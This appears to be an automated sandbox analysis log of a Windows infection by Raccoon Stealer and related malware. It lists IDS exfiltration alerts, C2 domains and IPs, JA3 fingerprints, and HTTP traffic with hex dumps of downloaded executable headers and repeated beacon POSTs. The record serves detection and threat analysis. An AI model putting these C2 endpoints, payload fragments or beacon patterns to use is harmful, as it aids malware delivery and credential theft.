Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.7:49863 -> 194.180.174.181:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.7:49841 -> 194.180.174.181:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://xacokuo8.top/
Source: Malware configuration extractor	URLs: http://hajezey1.top/

Source: Joe Sandbox View	JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 132Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cVContent-Length: 1410Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 132Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cVContent-Length: 1398Host: 194.180.174.181

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 13:29:51 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 13:29:02 GMTETag: "54600-5cf7dcf7c6721"Accept-Ranges: bytesContent-Length: 345600Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0c 03 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 03 00 00 c0 70 02 00 00 00 00 70 c7 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 74 02 00 04 00 00 b8 a1 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 cc 03 00 64 00 00 00 00 60 73 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 73 02 88 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 bb 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 c7 03 00 00 10 00 00 00 c8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 e0 03 00 00 16 00 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 78 65 6d 75 00 00 00 e5 02 00 00 00 50 73 02 00 04 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 60 73 02 00 3c 00 00 00 e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 a0 73 02 00 24 01 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 13:30:25 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 13:30:02 GMTETag: "93000-5cf7dd3163f4f"Accept-Ranges: bytesContent-Length: 602112Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 44 2c a1 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 b2 07 00 00 c0 70 02 00 00 00 00 80 b1 05 00 00 10 00 00 00 d0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 78 02 00 04 00 00 40 ca 09 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 b6 07 00 64 00 00 00 00 50 77 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 77 02 88 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 78 b1 07 00 00 10 00 00 00 b2 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 d0 07 00 00 16 00 00 00 b6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 61 6c 61 6a 65 77 e5 02 00 00 00 40 77 02 00 04 00 00 00 cc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 50 77 02 00 3c 00 00 00 d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 90 77 02 00 24 01 00 00 0c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:30:59 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 13:31:02 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Last-Modified: Fri, 29 Oct 2021 13:30:03 GMTETag: "d6200-5cf7dd31ce3c9"Accept-Ranges: bytesContent-Length: 877056Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed ff a0 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 e4 0b 00 00 c0 70 02 00 00 00 00 20 e3 09 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 7c 02 00 04 00 00 6a 61 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 e7 0b 00 64 00 00 00 00 80 7b 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 7b 02 94 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d7 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 e3 0b 00 00 10 00 00 00 e4 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 00 0c 00 00 16 00 00 00 e8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 75 63 69 00 00 00 e5 02 00 00 00 70 7b 02 00 04 00 00 00 fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 80 7b 02 00 3c 00 00 00 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 c0 7b 02 00 24 01 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:32:12 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49829 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bkhtxo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qucostkxtw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kslrhwirq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vbyddwsgl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ckkawpd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qjhggbh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yilaxxc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mlylmiecm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xquhxc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnvqewf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xpqaga.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxvperioa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kclljmjl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifkorrg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uknlp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://agijcahi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fqyeks.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: hajezey1.top
